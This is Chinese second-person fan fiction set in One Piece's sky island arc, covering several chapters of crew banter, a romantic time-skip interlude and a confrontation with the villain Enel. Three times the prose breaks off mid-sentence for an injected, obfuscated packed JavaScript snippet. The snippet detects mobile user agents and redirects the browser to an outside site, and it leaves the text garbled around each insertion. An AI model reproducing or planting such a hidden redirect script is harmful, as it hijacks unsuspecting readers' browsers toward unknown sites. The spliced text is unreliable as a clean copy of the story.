他把自己的手放在你的脑袋上,不知轻重的力道把你的头发揉得一团糟,很显然这家伙在模仿着你往日的举措,他回答你:“那又有什么关系?这样的家伙来几个就打飞几个好了。” 如果连这种对手都怕的话,我又怎么当海贼王嘛。他又伸手揽着你的肩膀,让你陪他一块儿玩。 你叹息,敲过他的脑袋。 “湿漉漉地陪你玩吗?会感冒的啦笨蛋。” 外边在这个时候传来一阵惊呼,你们赶忙把门打开,一位白胡子老伯穿着骑士服骑着你不知道该形容叫马还是鸟头坐骑的生物站在橘子园前,在旁边卧着的还有一个穿着很有印第安人风格的人。 你们问出什么事了? 罗宾为你们作出解释,“刚刚突然出现了敌人要击碎我们的船,路飞,厨师先生和剑士先生不敌其手,是这位突然出现这位老先生帮忙打败了他。” 你和娜美看向趴在甲板上的三人。 “这么没用?” 罗宾:“一定是这里的空气太稀薄了。” 高反吗? 你突然记起来你还没去过西藏呢。 —— 14. 空岛篇3 你曾有一个梦想——走过世界各地,在人类踏足过的每一个地方印上你的脚印。 西藏曾是你的第一站,但因为各种各样的原因你没去成,你把目标更改,要去的地方变成…… “■■。” 山治把你从游神中叫醒,你看着突兀地出现在眼前的花,脚下是湿润的云海,隔壁的索隆刚还在吐槽这地方诡异的触感。眼前的山治却是极为自然地把它别在你的脑袋上,“这样美丽的花在这样美丽的你身上,就像要在我的心里种满了心之花一样……” 不要钱的情话一句接着一句,他突然的表现欲还有接连出现的长难句让你懵了一会儿,因为完全没过脑所以上述翻译是对是错你不负责。 “哦……谢谢。”你耐心地听他说完,在他满眼欢心的眼神里伸手在他脑袋摸摸,山治露出一种小狗获得主人夸奖的开心表情,你又挠挠他的下巴,表情也带着几分柔和。“好乖好乖。” 他好像要飘出去了一样。 你看着他幸福得飘飘然,突然出现的琴声抓住了你的耳朵,你和那位转身过来的少女对视,碧蓝色的眼睛温柔得和这里的云海一模一样。 她歪头朝你笑笑。 “天使。” 天使? 山治的声音好像从很远的地方传来,你眨眨眼睛,重新聚焦视线。少女已经走近,你看着她同你们的船长对话,还顺手帮了你们船长打开椰果。然后她又望向你,问你有什么需要帮忙的吗? 你想了想,说:“我能冒昧问一句,你背后的翅膀是真的吗?” 柯妮丝似乎也没有想到你会问这句话,“欸,这个,是装饰品哦。”她和你解释这是他们在空海上的标志装饰物之一,包括他们脑袋上竖起的两条似天线的发型。约莫是这里的奇景对你而言太过超乎于常识,你的好奇心空前旺盛起来,好谈的你很少见。 曾经压在你身上的高考除却锻炼了你空前绝后的强大抗压能力以外,也确实为你带来了大量学识笔墨藏于心中。这也导致进入社交状态的你谈吐风趣幽默,柯妮丝被你逗得接连发笑,柔和的眼睛微微弯起。 娜美和骑着威霸过来的老伯交流甚欢,如果不出意外,这里的基本信息应该会被你们在这段时间全部挖出。如果没有人捣乱的话。 初骑威霸的路飞就近跳海的惨叫声引起你们的注意,柯妮丝和她的父亲还没来得及作出担忧的表情,你就拎着路飞的后领回归,满面笑容的你背后升起的冉冉杀气让路飞不得不像只乖巧的鹦鹉老老实实地呆在你的手心。 那个被他骑走的威霸自然是要用他的能力拿回来。值得庆幸,这回比格没有闯祸。 他顶着脑袋大包朝柯妮丝和她的父亲道歉。 柯妮丝的父亲派葛亚温声细语,“欸,哪里哪里。是我没有注意你是初学者就把威霸借给你的错。” —— 岛云做的沙发柔软舒适,回弹能力出乎意料地好,你躺在上面恍惚间以为自己回到了温暖的家里,舒适的沙发柔软的毛毯以及靠在扶手上玩手机的快乐时光。 可惜不是。 柯妮丝在给你们介绍这座岛上特有的贝壳,空贝是这座岛上不可或缺的刚需用品,小至留声的音贝,大到烹煮用途的炎贝,真是神奇啊,这个国度。路飞和乌索普对于这些神奇的贝壳表露明显的兴趣,每冒出一个新种类的贝壳你都能听见他们哇的一声。 比起他们的闹腾,你们这边倒是安静许多。 你同罗宾坐在一起。长久以来,根据你的观察,罗宾都是个比起倾诉想法,更善于把自己放在倾听者位置的人。在不言之中,那双情不透底的眼睛将一切纳入眼中,只是短短的几句对话,不明所以的人可能就已经将自己的老底都暴露给她。 真像是蛇。 你端起水杯小饮一口,佯似不经意间的抬眼,就对上罗宾的眼睛。你抿唇一笑:“话说你最近的香水是在罗库镇那里买的吗?” 她欸了一声,问你喜欢这款味道?见你点头,她俯身凑近向你,眉眼如画般舒展。她很喜欢看到你此刻难得的呆愣模样,说既然如此,回去的时候她可以把多买的另一瓶送给你。你问真的吗?她点头应当然。 山治在这时把他做好空岛特色大餐端来,浓郁的香气打断这场对话,你和罗宾都已经习惯先把自己食用的那部分夹到碗里以此避免待会儿的争夺食物大战波及到你们,虾肉蔬果米饭,你的碗已经垒出一座不小的山峰。对比起原世界那会儿,你的食量已经显著增长到一个地步是过去的你绝对无法企及的地步。你现在的饭量都能顶过去的两个你了。 与之对应,你的体能也是过去的你两倍以上,真是可喜可贺,可喜可贺。 山治对于你的饮食变化喜闻乐见,作为看着你从只能吃下一碗饭就罢工到现在俩大碗才能吃饱的主厨,见证食客成长的成就感在他的胸膛燃起。 他在脑海谋划给予你们的特制菜谱,唇边也扬起一抹笑意。你坐在他的对面,见他嘴里含着根烟,而烟尾却没有红星。 你点点自己的嘴巴,山治双眼睁大,拇指的指腹擦过唇角,却没有东西。他见你撑着下巴,食指摇晃两下,后指尖在唇下一点,是比刚刚靠后些的位置。 他再度尝试,终于成功。是路飞吃饭时不经意间溅起的饭粒。不知为何,你们亲爱的厨师长桑耳根红了一片。 多可爱的反应。他好像意识到了自己的失态,似逃非逃来到窗台抽烟。却见原先还能从这里隐隐看见的细小身影意外不见,“娜美桑去哪儿了?” 一语炸惊雷。 柯妮丝说她有不详的预感,派葛亚表情萧瑟,是也如此。他们论及这里的神明,同时提及这里的圣域——阿帕亚多。 索隆说他不信神,柯尼丝和派葛亚把头低到下巴贴到脖子的姿势让你们齐齐皱眉,神明是至高无上的,神明是全知全能的,神明是不可触犯的。 而比起所谓的“神”,你更认为这是持仗果实能力的暴君。 看看他把手底下的人民治理得如何吧,无时无刻的恐惧与时常溢出惭愧的脸色,那句私密马赛你都不知道听到第几次了。你没把话坦明,倒是路飞身边围绕着的星星已经把他的心思透露得彻底。 你对接下来会发生什么已经毫不意外了。 —— 路飞被索隆从云海里捞上岸。 你:“你不是说别管他?” 索隆:“你不是也这么说了?” 路飞在你们的脚底下吐着水花,他说其实只要一个人就够了。你和索隆朝他撇去一瞥,路飞抬手想再说话,但是他在吐水。 可怜的路飞,虽然你在此时并不同情他。 匍匐前来的白色贝雷帽警队对你们的恶意没有掩饰,你们无论是干什么他都能出口成章,什么什么级别的罪行,要获得什么什么惩罚。乌索普已经三番五次阻止了索隆路飞山治的进攻行为,但就连睡觉打呼都要安一个罪名这种事情实在是把你给气笑了。 你把刚刚从云海里捞出来的水抛到唠唠叨叨成心找事的警官脸上,他面色难看地抹了把脸,刚要张口给你罗列罪名。你打断发言:“直接说你们最想安排给我们的罪名惩罚得了,在这里欲盖弥彰遮遮掩掩,扯什么遮羞布呢?” 乌索普人都傻了,他上前捂住你的嘴想要阻止你更加激烈的抵抗,你却把他的手臂拉扯朝下,手臂青筋暴起,可见你确实气的不轻。 你直白告他,你以为你们还剩多少存款,这种不合理的要价给不起也没必要给。反正在他们那里左右都是犯罪,多一事不如少一事的戏码在有心之人的地方可不管用。 “主动挑衅并恐吓警官,罪加一等!” “如果我们的罪真这么严重,怎么没见你们口中那位全能的神亲自惩罚?!” 这下不只是警队的脸色不好,就连旁边站着的柯妮丝还有派葛亚也是如此,啧,这个鬼地方问题真多。 你们形成两派对峙,乌索普见拦着你嘴巴不成功只能以身作则挡在你们之前,好歹把打架这个行为给拦住了,娜美就是在这个时候回来。 “等一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538346|203888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “路飞!千万不可以反抗这群人啊!” 路飞起手式还没做完,他看向从远处飞奔而来的娜美高喊可是这群人真的很烦欸。乌索普喊娜美赶紧交出她的八百万私房钱让他们从这个险境脱离。 你是觉得这是不大可能的。 娜美猛踩油门,车身狠狠创击警长的脑袋,自此一切彻底不可挽回。 乌索普大张嘴巴,“怎么连你也这样。” 娜美屈指敲过自己的脑袋吐舌卖萌,“听到不合理的要价下意识就这样了嘛。” 最终还是要打一架。 乌索普给你的武器就在兜里,它和这群人手里的手刺很像,是可伸缩三菱刺,里面很适合□□,就是目前塞的是麻醉剂。 不过总体而言,它非常方便携带和暗杀。你为此给乌索普点赞。 乌索普:你到底都在想什么东西啊! 你把警队用那古怪的武器射出来的东西称作云梯,一直跟在他身后的小兵以特制的轮滑鞋作为辅助工具在其上丝滑地游走不好反击。 但那又不是你的主战场。 你把这次的打斗当做历练,自从阿拉巴斯坦事件之后你就一直在索隆的手底下训练武术,比之过往,你的训练项目多了一项对打。 很狼狈,真的很狼狈。 这家伙下手又狠又重几次对招下来你的手不是青一块紫一块就是腿那边青一块紫一块,你学习是认真的,索隆教人也是认真的。 他是真的在把你往死里练。 山治见你绷带缠身于心不忍,和索隆反应过这种训练方式太过苛刻,却被恶狠狠地驳斥道:“战场上可没几个人会像你一样对女人手下留情。” 而且这也是你自己选的路,没人有资格替你做决定。 武斗的过程实际很短,藏在烟雾里遮遮掩掩试图偷袭的小兵对于背后的反应总是不及时,在他们试图用手刺反杀你之前就先被你的三菱刺内的麻醉剂给撂倒。 他们倒地不醒,你是你那片场地里唯一站立的人,直到烟雾散去,景色清晰,就在你不远处的索隆同时收场并收刀入鞘。他看过你那边的战况,难得夸人一句,“干的不错。” 你转了一圈手里的三菱刺,挑眉回道,“这不是理所应当的吗?” 山治:“■■桑~你的英姿彻底把我给迷倒了。” 你爽朗地笑过一声,“我也被你帅气的风姿迷到了哦。山治。” —— 你一脸淡定地站在船头,路飞的特等席上张手感受风的呼啸,强烈的推背感让你的衣衫反复拍打你的身体发出猎猎的声响,有赖于你一直紧握着梅丽号的羊首鸡冠,即使推背感再强你也不会因此重心不稳倒入云海。 啊,自由。 你恨不得吟诗一首,好抒发你这被风带起的情怀。 你以前可是游遍各种机动设施都能面不改色高喊再来一次的机动种子选手。 索隆站在甲板,刚刚对于砍特快虾背的尝试在后边穷追不舍到追兵的威胁之下遗憾落幕,比起身后的争吵无助,你此刻的畅快兴奋就很与众不同了。 状况外也好,状况内也罢,你强悍的适应能力和自我调节能力在如今都和路飞有得一拼。 是从什么时候开始的? 关于阿拉巴斯坦里你苍白的脸一闪而过,隐隐发抖的手,用力到甚至让他都有点生疼的力度…… 索隆闭目睁眼,抱臂而立,朝你喊道,“站在那里摔下来的话我可没办法救你。” 你这时回头,身形忽地一闪,就出现在他面前,你戳过他的胸口,问他“真的吗?” “你会对我见死不救?” “不信 。”几个重音字节入耳,索隆眉毛弹跳,看着他往后靠仰的姿势你就想笑,这家伙一直如此,就算是在关心人说话也是口是心非的,你都快习惯了。 你还想向前继续逗他,索隆却先发制人,双指一并,抬手就在你的眉间落下一抹红,见你捂着额头作势嗷嗷呼痛,他背过身去,“别总是得寸进尺。” 15. future or past 如果说宿醉一晚的痛苦是脑袋涨得好像要爆炸,那么宿醉一晚醒来后发现所有人都年轻了俩岁这件事就是非常魔幻的一件事了。哦对,因为太习惯了所以你顺便把和你住在一块的娜美和罗宾给亲了。 娜美脸红透的样子你已经很久没见了。 就连罗宾也,她的表情难掩震惊,嘴唇上柔软的触感是她未曾预料过的发展。你醉眼朦胧地看着她这副模样以为是还亲的不够。柔软的发丝垂落,带着滚烫温度的舌头轻巧地划开唇缝,罗宾被猝不及防地袭击,你的双手就撑在她的腰腹两侧,如此熟稔的姿态,这可不是她熟悉的你会做的事。 在你想要得寸进尺更加深入的时候,你被轻轻推开了。罗宾的指腹擦过你湿润的唇面,她同你的眼睛离得很近,呼吸交融,她能感受你像只不安分的小狗一样想要凑前获得刚刚被拒绝的吻。 作为多日枕边人,她很熟悉你的体温,你的呼吸,还有你的眼神。基本上确认过了,你还是你,只是大概并非如今的你。 “这可不是一个好孩子会做的事。” 娜美从旁边掰正你的脸让你与她对视,她好像要气疯了一样,“你,刚刚,到底,都做了些什么啊!” 我的天! 你正襟危坐,对面严阵以待。娜美和罗宾坐在你的对面,因为事发突然,原因也十分离奇,所以她们暂且没有告知其他船员的打算。处于未来两年时间线的你突然来到了现在,行为举止大不同样,这实在是太奇怪了。 娜美让你老实交代,你们到底都是些什么关系。 你:“额……嗯,其实,是的,就是你们想的那种关系。” 罗宾:“情人?” 你缩了缩脖子,“嘶……不是这样。” 你很难说明白,你真的很难说明白,你和包括她们俩个还有船上所有人(除了乔巴以外)保持开放性关系这种话你怎么也说不出口啊。 罗宾放下咖啡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538347|203888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,问你“和你保持这种关系的,只有我们吗?” 你:“……” 微不可闻的是这一句到底还是落入了你最亲密的两位同僚耳中,娜美抿唇不语,低下头来的表情你没办法看见,但是她落下的泪水却是掉在你的眼前。 你手足无措,手忙脚乱,赶忙过去安慰她,过去两年了,你是否已然忘记她的佯装十分精湛?你被她极具侵占意味的吻打乱了呼吸节奏。 她紧紧抱着你,对你说,总之,不许让其他人知道这件事。 ——这是过去的你来到未来发生的一小段故事—— 大早上的你被亲懵了,先是娜美后是罗宾,然后是路飞,你只是出门一抬脚就被他伸长脖子凑过来的脸亲在就在嘴边,然后又跑去和乔巴乌索普钓鱼去了。他们一点儿也不惊讶,你感觉到了震撼。 索隆路过索隆亲你一口。 你被吓得大跳起来捂着脸用手指着他问你你你你在干什么啊! 16. 空岛篇4 在巨大的声响与翻腾的云海之中,索隆把想要攻击你们的空鲨一拳打晕。他从海里游了回来,你从他的房间取出他的备用衣物甩到他脸上,深蓝色的紧身上衣,难得的还挺衬他。麦色的皮肤与深蓝相衬,健硕的手臂肌肉袒露随着他的动作起伏而鼓起道道青筋,你并不擅长形容一个人的外貌如何,最多的评价就是帅或不错草草掠过。 在连接远处的大海的这片池塘之中空鲨重新聚集,那只被打败的鱼儿可怜地成为鱼食,云海的咸腥盖过血的臭味,它最终沉塘,仅剩鱼骨罢了。 船上只有你、娜美和乔巴,船下是罗宾和索隆。罗宾在看祭坛的祭文,索隆已经打定主意要离开这里去森林里逛逛,娜美表示反对,空岛口耳相传的神明让她也沾染上了这个地方疑神疑鬼的性子。对于危险的本能逃避让她不想战力离开,但耐不住索隆就是这样的性子。决定了就是头倔驴,不会回头的家伙。 你扫了一圈附近的环境,问他介意多带个人不,他说无所谓。娜美的手自然穿插进你的指缝,她贴过来摇晃你的手臂,弯下腰可怜兮兮地说你怎么也这样?外面很危险欸。 “就当是旅游了嘛。”你耸耸肩膀,肩上挎着伴你已久的旅行背包,拇指朝向森林,“我以前的旅游目标也有爬山野游之类的打算哦,不过那会儿是想着跟团的。” “现在嘛……”你看眼索隆,摸摸下巴,决定问娜美:“娜美和我一起走吗?遇到不对我会带你跑哦。” 娜美看着还有些犹豫,察看完祭文的罗宾此时发言,谈吐对象是索隆,她:“介意再多一个人吗?剑士先生,我有感兴趣的东西想要去看看呢。”索隆对于多出多少人都没有意见,看在可能出现的贝利珠宝的份上让娜美成功倒戈,你们组成探险小队。走前委托乔巴看船,小驯鹿因为留守而难过,强打起精神的样子又戳中你的某处软肋,你正犹豫着要不把他也带走。 索隆先开口了,“是男子汉吧,乔巴。” 乔巴展露精神,由原型态变成壮实的人类形态,他似健美选手一样展示自己结实的身形,然后自信满满地说船就交给他吧! 索隆伸手拍过你的肩膀,“走了。” 你并不是很想恭维他的品位。 猿人泰山的吼叫? 太超过了哥哥。 —— 走出祭坛你们沿着云河一路往前,粗壮的树根高高隆起,你用手掌遮住阳光,仰头朝它的顶端看去,得有四五六个你那么高了吧? 索隆一直走在你们的队伍最后,路遇危险也是他身先士卒,你调侃他怎么不用他的剑来砍怪,他说那种小兵用拳头就够了。引出血味来你们所要遭遇的危险也是翻倍。 你用手肘怼了一下他侧腰,说没想到他想得居然如此全面。那句你到底对他是什么印象啊的话终于轮到他来开口,你尼嘻嘻地笑,索隆让你学点好的。 你们走了将近有一个多小时,这座岛也还是没见到尽头。罗宾的话在不久前形成你们这趟旅程的导火索,一座位于空岛之上的陆地,你姑且把这个地方以一个更通俗易懂的名字称呼,就叫做陆岛。它的存在在这里显得多么突兀,探寻研究的价值也因此彰显。 继续一路向前似乎也没办法达成你们的目的,你们把目标转向对岸,想看看对面又会有什么东西出现来补充你们对于这座岛的认知。此时有一串窸窸窣窣的脚步声传来,你疑惑地往那边望去却又什么都没有。 娜美问你在看什么,你压着眉峰寻思刚刚难不成只是道错觉?罗宾站在不远处问你你的能力能不能做到把他们传送到对岸?你仔细观察兼且估量,朝她遗憾地摇头,说“做不到,太远了。” 作为云海支流的云河危险程度不亚于大海,起伏的空鲨鱼鳍也并不是什么好的落脚点,行差就错,你和伴行的人的下场就是命丧鲨口。 风险太高收益太小,往对岸走去成了你们的弃选。 “没办法了,继续朝前走吧。” 你们跨过长藤,这里的树根把刻有历史正文的石碑给掩盖,长满青藤与苔藓的石碑在罗宾的解读之下说这里的人没有预料到环境会如此变化。历史的长河滚滚移动,你们站在那座石碑底下也仅是借着它这位巨人对着曾经的一段旧事俯瞰。 罗宾知道你对历史的兴趣不小,问你要不要听一段这上面写的故事,你附耳探步凑前,她看着你小巧的耳垂眼睛弯弯,你总有些小动作让人意识到你的年龄算不得大,如今像是仓鼠试探的动作更是戳中她心中的某块软肉。 很可爱。 罗宾配合着贴近你和你说些悄悄话,说话间的唇息贴耳,你觉得有些痒。 娜美在树的顶端发现了这座岛的真相,那从中间分成一半的建筑物与远处的风景为那堪称荒唐的推测形成了敲定确认的铁锤。 —— 你们回去的时候发现船上的主桅不见,瞬间提起心肝,娜美在大喊乔巴的名字,而他居然没有反应,此间种种都让你心往下沉。你观察四周寻找最近的支点好使能力跃迁到你们的船上去查看情况。就在你快行动的时候乔巴出来了。 索隆,罗宾,娜美,还有你。 乔巴哭泣着呐喊你们的名字,那句强撑着的没遇到可怕的事已经几乎把情况说明,你们 随着一声巨响,“橡胶拳!”路飞和山治他们过来了,空鲨被击倒,危险的家伙们短暂离你们而去,山治说他通过了爱之试炼过来看望你们,虽然不知道恋之试炼到底是个什么东西,但看他那副熟悉的眼冒桃心,你只觉得他们平安回来就好。 船上多了一道微弱的呼吸,你从乔巴那里听来他的事迹,这位天空骑士不负他的骑士之名,信守承诺,为你们扛下了来自神使的重击。 你们聚在一块儿,把遇到的事情编辑成串,大概了解了目前的敌情。路飞双腿交叉坐在你的旁边,串烤成串的空鲨在他的手上甚至没呆到超过三分钟,你只是一个没留神他就已经把它吃个精光,看着你震撼的样子他凑过来贴你,问你也想吃吗? 你擦过他嘴角的肉粒,弹到一边:“暂时还不饿。” 他圆圆的脑袋缩了回去,乌索普在此时讲起娜美刚刚所述的黄金乡,路飞:“真的假的?!” 你忍不住吐槽:“你刚刚真的有在听人说话吗?” 他没回你,你发现他其实很会屏蔽信息,无论好的坏的。除非那个信息是他的兴趣,看,现在他已经被黄金乡完全勾起了兴趣,兴致勃勃地为你们定下这趟旅行的终点——找到黄金乡,把黄金统统拿到手! 你撑着下巴看着他活力四射的样子,眉眼弯弯,他下完决定又坐了回来。你和他排排坐,他像小狗一样嗅过来,眼睛眨啊眨,你点他的额间。问他闻到什么了? 他即答:“肉!” 你挑眉,确从怀里取出一包肉脯,之前藏的,本来打算当干粮,但现在用来逗逗小狗也不错。你拆开包装,露出来的肉脯散发着甘甜的味道,很像你以前爱吃的猪肉干,你也确实是因为这个而准备的。 你摇晃俩下,小狗的眼睛随着你的举措左右摇摆。 你笑,把它递到他嘴里,“吃吧。” 路飞含着肉说话含糊不清:“谢谢。” 过了这么久,你们终于要开启正式的海贼冒险。之前的探险可都没有金银可抢,倒是救了一群又一群的人,不过这也是选择草帽海贼团的原因,比起烧杀抢掠,这样伴随着危险与希望的故事才是你想要参与的。 篝火冉冉升起,火柴爆开而火星在噼啪作响。你和罗宾一块儿在湖边找到了巨大的盐块,甫一发现你就招来罗宾走到你的旁边,你说:“娜美看到了一定很兴奋。” 罗宾知道你的潜台词,“它确实很像是宝石呢。” 你和她搭伙一块儿抱着有盐块儿回去,起先你没注意,今日才知道罗宾其实力气不小,好像轻轻松松就能把盐块给一箩筐带回去,不过现在你们是两个人,当然一起抱着更加轻快啦。 你们回到营地,不出所料地听到娜美惊喜的声音,罗宾打趣着说真是和你预估的一模一样的反应啊。娜美捏过你的脸颊,问你都说了些什么呀?你们齐心把盐块放到一边,回说就是罗宾刚刚说的呀,我预测了你现在这样可爱的反应哦。 娜美很认可你的反应,确实,毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538348|203888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我是美少女嘛。 索隆那边也恰时回来,手里提着的食材可以说是百分之百的不妙,青蛙?老鼠? 你是知道这些肯定能吃,但你觉得你们的处境也没艰难到要靠吃这些东西饱腹吧?你说退退退,赶紧把那俩只东西放生,索隆问你到底在和娜美大惊小怪些什么?这些也是食物好吗?你的嫌弃无以言表,一脸嫌恶地捉过他手里那俩只东西,然后大力一甩就把他们抛得老远。 索隆:“哦,手臂力量变强了嘛。” 你推搡着他的后背,往云海那边走去,“洗手洗手赶紧洗手!”索隆:“都说了是食物,到底在大惊小怪些什么啊?” 你:“反正再怎么落魄我也不要吃老鼠和青蛙,行了,走了啦混蛋,下次再挑老鼠青蛙揍扁你哦。” 索隆:“你打的过我?” 你:“……索隆——” 他默默收声。 你手里端着山治做好的爱心特制便当,已经习惯他的作风的你没什么心理负担地把爱心萝卜吃掉,炖煮得软烂的红萝卜带着特有的甜香像是冬天暖和的棉被一样盖在你的舌苔。 你一时之间有点停不下来,一直到胃袋都是舒舒服服暖暖呼呼的状态才停下动作,娜美正说着正事,信誓旦旦言之凿凿,如果路飞没有神经大条到以为那边的甘福尔老爷爷就是要打倒的神就好了。 你:“如果神是他的话我们也没必要打了,现在绑架他去要挟那群人把黄金拿来不就好了。” 乌索普:“好可怕。” 乔巴:“好可怕。” 你:“这是正常的海贼思维。” 但很显然他们不是正常海贼,索隆和山治在你的眼皮子底下把篝火架架好,娜美还在那边训着路飞和乌索普,这里种种可怕的可能性都已经列举出来,但就着这已经完成的高大建筑物,你问真没问题? 山治高举着火把说没事啦,如果真有那些什么野兽他也能完美地保护好你、娜美和罗宾。更何况那种野兽应该最怕猛火才对,你指向他背后闪烁的野兽眼光,“你是说后边那群野狼?” 山治顿了顿,他往旁边一瞧,发现这里的头狼不知何时站到他的旁边,嘴里呜咽着说着狼语,乔巴尽职尽责地翻译,娜美用拳头征服了这群野兽的心,与云狼一起的篝火晚会就这样堂堂展开。 你们这座船上的人都和云狼玩得很来。 你和一位皮毛油亮光顺的白狼呆在一起,牠是这群狼里少数在意形象的爱美狼,不知公母,但爱好被你摸得几乎门清。 你用从山治那里淘来的几根肉骨头贿赂牠,让牠自愿给你摸他那保养得极为漂亮的毛发。 你的手在它身上顺着摸逆着摸都试过几遍,逆毛时它会发出一阵呼噜声,想要警告你不要得寸进尺的狼又被你用另一根肉骨吸引注意,他呼噜你就塞肉,他呼噜你就塞肉,他呼噜你就…… 你看向路飞,手里原本duang大一只肉被他咬过半截,现在啃着剩下的半截,死紧,你上下动动,他不愧是橡胶人,脖子也跟着你的动作长长短短的。 你:“你知道这本来是给牠的吗?” 他:“可是牠已经吃得够多了嘛——” 那只狼的肚皮确实被肉撑得很鼓,旁边是堆在一块的肉骨小山丘,即使如此也没有放弃牠对于肉的热爱,眼珠子滴溜溜地转,你沉默看牠一眼,叹息着把肉交给路飞了。 你:“你这胃口,幸好我不当厨师了。” 路飞注意力偏倚,说你要是再做饭的话他还能吃。你弹他脑袋,说才不干这种力气活。 甘福尔醒后,这位穿着白色长袍的老人同你们讲起这座岛的故事,加亚之所以被称为圣域,还有这里的土地不被称之为土,它们以巴斯为名,意作诞生。一些血与泪的故事他没说,但你实际上对这里的故事还有点印象,wt在这里融了一段殖民地史,刚好是你学过的片段,所以你印象深刻。 这个世界总是如此,披着冒险的皮,说着带血的故事。 你侧耳旁听,眼睛却一直注视着这里开怀着的那位主角。 你不想评价,这里的任何事。 17. 空岛篇5 人生充满了意外。 即使你们早有预料会面见敌人,你们也实在未曾想到甫一出发就面见最终大boss艾尼路,你们更没想到,他居然会突然出现在你的背后。 一息。 仅是一息,你被高大炽热的身体覆盖拥抱,他饱满的胸肌贴着你的肩背,你被一双结实有力的手揽抱住腰腹,连带着你的双手被一并困在他的拥抱之中。他好像很高兴于这样的肢体接触,即使你像一只因为被突然接触而炸毛的猫一样瞬移溜走他也不恼,手托着下巴高高在上地盘腿坐在你们的对面,他嘴角翘起,看着在乎你的同伴将你团团包围行为保护圈,朝你伸手。 “撒,来我这边,” 山治咬着烟嘴欲要行动,你先一步扯住他的衣袖,让他别去。对于艾尼路奇怪的举措,你皱紧眉头,问他“我为什么要过去?” 艾尼路笑起来,电流在他的指尖窜动,他反问你“为什么不来我这儿呢?” “为了保障自己的安全而打算离开这座岛,你在早上不是祈祷了吗?神明大人,请保佑你们离开的一路平安。”艾尼路指向自己的耳朵,“我听到了哦,亲爱的妻子对我的祷告。” ……? 你一时间没有反应过来,你手中一直紧扯着的衣袖骤然脱离,你还没发表意见,那向艾尼路猛然袭击的山治却率先发怒,“混蛋,你说谁是你的妻子?!” 面对呼啸而来的腿风,艾尼路眼不带眨,指尖流窜而出的电流伏特高涨,被电得发出烤肉气息的山治往后仰倒,你赶忙托住他,手带颤抖。你扶着他将他平放在地,乌索普和娜美瞬间靠近,你们聚在一起查探山治的呼吸与心跳。咚咚咚的平稳心跳声传来,那口一直紧绷在咽喉之间的气才缓缓疏松,还好,一息尚存。 艾尼路看着你们关心同伴,原先还流露出来的好心情于此刻收回。他想这个男人实在应该庆幸,如果不是怕吓到你,此刻就凭他对你的态度,还有你对他的态度,他就理应万死不辞。 男人的嫉妒心真是可怕啊。 他站起身,朝你们踱步而来,电流声窜动,“真是愚蠢的男人,我明明没有打算伤害你们……” 嗞喇。 艾尼路闪现到你的背后,“我只是想带着我的妻子离开这里而已,”他伸手一揽再是一抱,你原先还搂着山治的手被电流麻得脱力,你同娜美乌索普同步睁大双眼。娜美和乌索普朝你伸出手来,你竖起的寒毛在告诉你危险,那隐秘的电流声再度过耳,空间扭转,你复刻了你们刚见面时的局面。 你和艾尼路站在梅丽号那可爱的羊首之后,正对着盘腿坐息的甘福尔,与娜美乌索普好歹保持了安全距离。艾尼路难得有些惊讶,之前那随着你和同伴亲密而溜走的愉悦又游了回来,他哼出笑音来,下巴亲昵地搭在你的肩膀,一只手握住你的手腕,明显比你的手心大了半截的手灵巧地探入你的指缝,同你十指相扣,他夸你不愧是是他选中的妻子,在他和这群弱者之间选择了他,很好,很好。 已经蓄力起来的甘福尔勉力起身,一直护他左右的皮耶尔神色紧张,但在这位老爷爷的坚持下还是飞身去取他的武器,甘福尔质问艾尼路,“你到底想要做什么?” “我刚刚不是已经跟你们说了?”艾尼路显出一副百无聊赖的表情,他抱着你盘腿而坐,你的后背与他相贴,他把玩着你的手,那些愉悦的心情都来自于你们的肢体接触。“我只是来带着我的妻子走的,顺道,再来和你这位「老朋友」打声招呼。” 甘福尔仄眉,“你的目的不可能这么简单。” 艾尼路不答,乌索普双腿发抖,试图将你们从困境中解救,他警告艾尼路赶紧放开你,不然他那八千个追随者是不会放过他的! 你心下微动,那欲隐欲现的电流声又再度划过耳膜,你反手握紧他的手腕,电流声减弱,你听闻一声叹息。艾尼路居高临下,注视接连站起来的一男一女,女人对你情愫分明,愤怒明显,似虎张牙,不对,应该是猫,或者老鼠?男人单纯得多,仅仅只有那份纯粹的同伴情。 他们张牙舞爪,却始终无法作出真正具有危险性的威胁,艾尼路不屑一顾,只道你魅力非常。也不难理解,如果他所看重的宝物无人觊觎,那才叫天大的奇事。 艾尼路:“你们应该感谢■■,她让你们免于神罚之苦。” 